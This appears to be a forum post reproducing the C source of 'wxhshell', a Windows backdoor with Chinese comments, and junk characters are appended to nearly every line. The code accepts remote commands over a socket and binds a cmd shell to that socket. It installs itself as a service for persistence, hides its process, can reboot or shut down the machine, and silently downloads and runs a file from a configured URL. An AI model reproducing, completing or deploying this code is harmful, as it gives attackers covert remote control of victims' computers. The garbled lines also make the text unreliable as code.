  i|QL6e*0  
  // 帮助 = K3NKPUI  
  case '?': { 8 J;\Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6:qh%ZR  
    break; U$ 22r b  
  } tqicyNL  
  // 安装 7q'T,'[  
  case 'i': { 0M 5m8  
    if(Install()) _/cL"Wf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {}N=pL8MS  
    else n_@cjO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pEX|zee  
    break; >IE`, fe  
    } do=s=&T  
  // 卸载 HiT j-O  
  case 'r': { > PONu]^  
    if(Uninstall()) esK0H<]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ygfv?  
    else _q3|Ddm2LN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SB =%(]S  
    break; *#Hw6N0#   
    } zoHFTD4 g  
  // 显示 wxhshell 所在路径 t BKra  
  case 'p': { U$^$7g 3  
    char svExeFile[MAX_PATH]; tzdh3\6F  
    strcpy(svExeFile,"\n\r"); DI7g-h8`  
      strcat(svExeFile,ExeFile); ]j57Gk%z  
        send(wsh,svExeFile,strlen(svExeFile),0); "D?:8!\!  
    break; X!!3>`|  
    } fm&pxQjg  
  // 重启 6;#Rd|  
  case 'b': { ]c\d][R N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % n~ 'UA  
    if(Boot(REBOOT)) )_\q)t"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vDcYz,  
    else { JFh_3r'  
    closesocket(wsh); KIYs[0*k  
    ExitThread(0); #Iwxt3K  
    } #Hi$squJ  
    break; QV9 z81[  
    } jRNDi_u?Wb  
  // 关机 eGQ -Ht,N  
  case 'd': { B:=VMX~GE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ff{dOV.i  
    if(Boot(SHUTDOWN)) p5JRG2zt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); od RtJ[   
    else { q o tWWe#  
    closesocket(wsh); $W0O  
    ExitThread(0); Ym$=^f]-  
    } <U~at+M  
    break; ?"L ^ 0%  
    } `F4gal^ ^  
  // 获取shell n5;>e&  
  case 's': { #D|n6[Y'.t  
    CmdShell(wsh); #0'%51Jcl  
    closesocket(wsh); #7|73&u(  
    ExitThread(0); $&jte_hv  
    break; F7IZ;4cp  
  } Q+a"Z^Z|  
  // 退出 [ %6(1$Ih  
  case 'x': { D2MWrX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nV3I6  
    CloseIt(wsh); jCp`woV  
    break; ] 8dzTEjk  
    } ']DUCu  
  // 离开 yNOoAnGT W  
  case 'q': { +S ],){  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >m# bj^F\  
    closesocket(wsh); 9#b/D&pX5  
    WSACleanup(); ^b^}6L'Z  
    exit(1); ]1&} L^a  
    break; 9N V.<&~  
        } @"__2\ 0  
  } QZv}\C-c  
  } /[+%<5s  
y{Vh?Z<E  
  // 提示信息 SmVL?wf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B<oBo&uA  
} 'e:(61_  
  } LZ<^b6Dxk  
]oxi~TwY^  
  return; 4rrR;V"}  
} ]..7t|^b&  
'mO>hD`V  
// shell模块句柄 =SV b k  
int CmdShell(SOCKET sock) Js/QL=,  
{ -T{G8@V0I  
STARTUPINFO si; "WZ|   
ZeroMemory(&si,sizeof(si)); Hp5.jor(k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3o BR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {.o@XP,.  
PROCESS_INFORMATION ProcessInfo; 3{9d5p|\i  
char cmdline[]="cmd"; }va>jfy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yoG*c%3V?  
  return 0;  4}F~h  
} yZkS   
{3!E8~  
// 自身启动模式 y85R"d  
int StartFromService(void) 6|Xe ],u  
{ s"B2Whe  
typedef struct  D`3`5.b  
{ FA!!S`{\  
  DWORD ExitStatus; P(cy@P,D  
  DWORD PebBaseAddress; )W*A[c 2  
  DWORD AffinityMask; h]pz12Yf  
  DWORD BasePriority;  {[dY$  
  ULONG UniqueProcessId; Cf>(,rt};  
  ULONG InheritedFromUniqueProcessId; OxqkpK&  
}   PROCESS_BASIC_INFORMATION; SVBo0wvz-  
U X%J?;g  
PROCNTQSIP NtQueryInformationProcess; 45;ey }8  
% O u'+A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;Q,, i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V G|FjD  
@7K(_Wd  
  HANDLE             hProcess; pT/z`o$#V  
  PROCESS_BASIC_INFORMATION pbi; B}0!b7!  
q5{h@}|M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); + f,Kt9Cy  
  if(NULL == hInst ) return 0; kxmc2RH>nB  
"/Pq/\,R|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "{[\VsX|c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gUY~ l= c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u6SQq-)d  
8]Q#P  
  if (!NtQueryInformationProcess) return 0; *USG p<iH  
fwNj@fl_,e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0+F--E4  
  if(!hProcess) return 0; !<?<f db  
%Ni"*\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5GbC}y>  
xJ9aFpTC  
  CloseHandle(hProcess); LkXho>y  
;Vpp1mk|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  "3/&<0k  
if(hProcess==NULL) return 0; wKKQAM6P1  
P1ak>T *#2  
HMODULE hMod; B>g(i=E  
char procName[255]; wSi$.C2  
unsigned long cbNeeded; |Wr$5r  
)+|Y;zC9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QD%!a{I  
q _Z+H4  
  CloseHandle(hProcess); </2 aQn  
O L 9(~p  
if(strstr(procName,"services")) return 1; // 以服务启动 " =6kH,  
8Qhj_  
  return 0; // 注册表启动 3S" /l  
} ,B'fOJ.2  
.y<u+)  
// 主模块 N&^zXY  
int StartWxhshell(LPSTR lpCmdLine) p<3<Zk 7~0  
{ aa" 3 Io  
  SOCKET wsl; A9;,y'm^8  
BOOL val=TRUE; $O%"[w  
  int port=0; sou~m,#  
  struct sockaddr_in door; SDB \6[D  
Bj<s!}i{[  
  if(wscfg.ws_autoins) Install(); 4:5M,p  
)qe rA  
port=atoi(lpCmdLine); y%?'<j  
p6!5}dD(  
if(port<=0) port=wscfg.ws_port; ~d\^ynQ  
t YxN^VqU  
  WSADATA data; O_]hbXV0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ec@cW6g(%  
&gKDw!al  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qw1W }+~g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X9ZHYlr+Q  
  door.sin_family = AF_INET; tQas_K5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KWojMPs  
  door.sin_port = htons(port); RLZfXXMn  
|<'6rJ[i>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [>t;P ,  
closesocket(wsl); ]|tR8`DGZ%  
return 1; +abb[  
} $JUkw sc  
ja9=b?]0,  
  if(listen(wsl,2) == INVALID_SOCKET) { %-a;HGbZn  
closesocket(wsl); `mA;1S  
return 1; 2vh }:A_  
} hz*T"HJ]t  
  Wxhshell(wsl); wl&T9O;?  
  WSACleanup(); g9fYt&  
U8J9 #+:  
return 0; lrj&60R`w  
bv VkN  
} b $yIM  
-DK6(<:0  
// 以NT服务方式启动 %P D}VF/Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uVKe?~RC  
{ `S0`3q}L3%  
DWORD   status = 0; _QEw=*.<  
  DWORD   specificError = 0xfffffff; <bb!BS&w  
L_aqr?Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4hc[ rN,]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Np%Q-T\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / g{8  
  serviceStatus.dwWin32ExitCode     = 0; _VVq&t}  
  serviceStatus.dwServiceSpecificExitCode = 0; _",< at  
  serviceStatus.dwCheckPoint       = 0; l i)6^f#  
  serviceStatus.dwWaitHint       = 0; L""ZI5J{F9  
J]#rh5um  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z,O* p,Gzn  
  if (hServiceStatusHandle==0) return; PpKjjA<  
zyhM*eM.7  
status = GetLastError(); ]A5Y/dd  
  if (status!=NO_ERROR) >KL=(3:":p  
{ Hqs!L`oW)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9cHo~F|ur  
    serviceStatus.dwCheckPoint       = 0; Rk7F;2  
    serviceStatus.dwWaitHint       = 0; ^lt2,x   
    serviceStatus.dwWin32ExitCode     = status; ZE-vroh  
    serviceStatus.dwServiceSpecificExitCode = specificError; YoW)]n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); URs]S~tk  
    return; ox%j_P9@:  
  } AH:uG#  
e4 ,SR(O>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f;Oh"Yt  
  serviceStatus.dwCheckPoint       = 0; "[!b5f3!I  
  serviceStatus.dwWaitHint       = 0; ' tY(&&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &+&@;2  
} Z|Oq7wzEH  
T - _))  
// 处理NT服务事件,比如:启动、停止 rhcax%Cd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5a'`%b{{  
{ NLK1IH#  
switch(fdwControl) T[)!7@4r  
{ 5!fOc]]Ow  
case SERVICE_CONTROL_STOP: r5N TTc  
  serviceStatus.dwWin32ExitCode = 0; &R?`QB2/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V:'F_/&X?  
  serviceStatus.dwCheckPoint   = 0; q)L4*O  
  serviceStatus.dwWaitHint     = 0; LXh }U>a9  
  { sYBmL]Hr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n@xQ-v  
  } nq HpYb6I0  
  return; bXvO+I<  
case SERVICE_CONTROL_PAUSE: `-.2Z 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pB\:.?.pd  
  break; DqT<bNR1*;  
case SERVICE_CONTROL_CONTINUE: Y(bB7tR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r'j88)^  
  break; :CW^$Zvq  
case SERVICE_CONTROL_INTERROGATE: ""jW'%wR  
  break; ^!\AT!OT  
}; JPAjOcmU/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g i6s+2  
} 8T9 s:/%  
4NW!{Vw ,  
// 标准应用程序主函数 KD ,3U/ 3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s{R ,- \_  
{ a`n)aXU l  
OcO/wA(&{  
// 获取操作系统版本 `DF49YP"~  
OsIsNt=GetOsVer(); ,c|MB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 't}\U&L.{  
.FHk1~\%z^  
  // 从命令行安装 G@#lf@M]  
  if(strpbrk(lpCmdLine,"iI")) Install(); ofV0L  
$QwpoVp`~  
  // 下载执行文件 D$ K'Qk  
if(wscfg.ws_downexe) { #p@GhI!6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '"E!av>  
  WinExec(wscfg.ws_filenam,SW_HIDE); !e$ZOYe  
} {%G9iOV.  
PXYLL X\3  
if(!OsIsNt) { sWte&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z::I3 Q  
HideProc(); O&BvWik  
StartWxhshell(lpCmdLine); fMg9h9U  
} (&Rk#iU 2  
else NGSts\D'}  
  if(StartFromService()) d/ ^IL*O  
  // 以服务方式启动 \/YRhQ  
  StartServiceCtrlDispatcher(DispatchTable); q+\<%$:u  
else 2I [zV7 @t  
  // 普通方式启动 e' o2PW  
  StartWxhshell(lpCmdLine); `6)Qi*Z  
%S;AM\o4  
return 0; < ,0D|O ,Y  
}
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只看该作者 1 发表于: 2006-10-10
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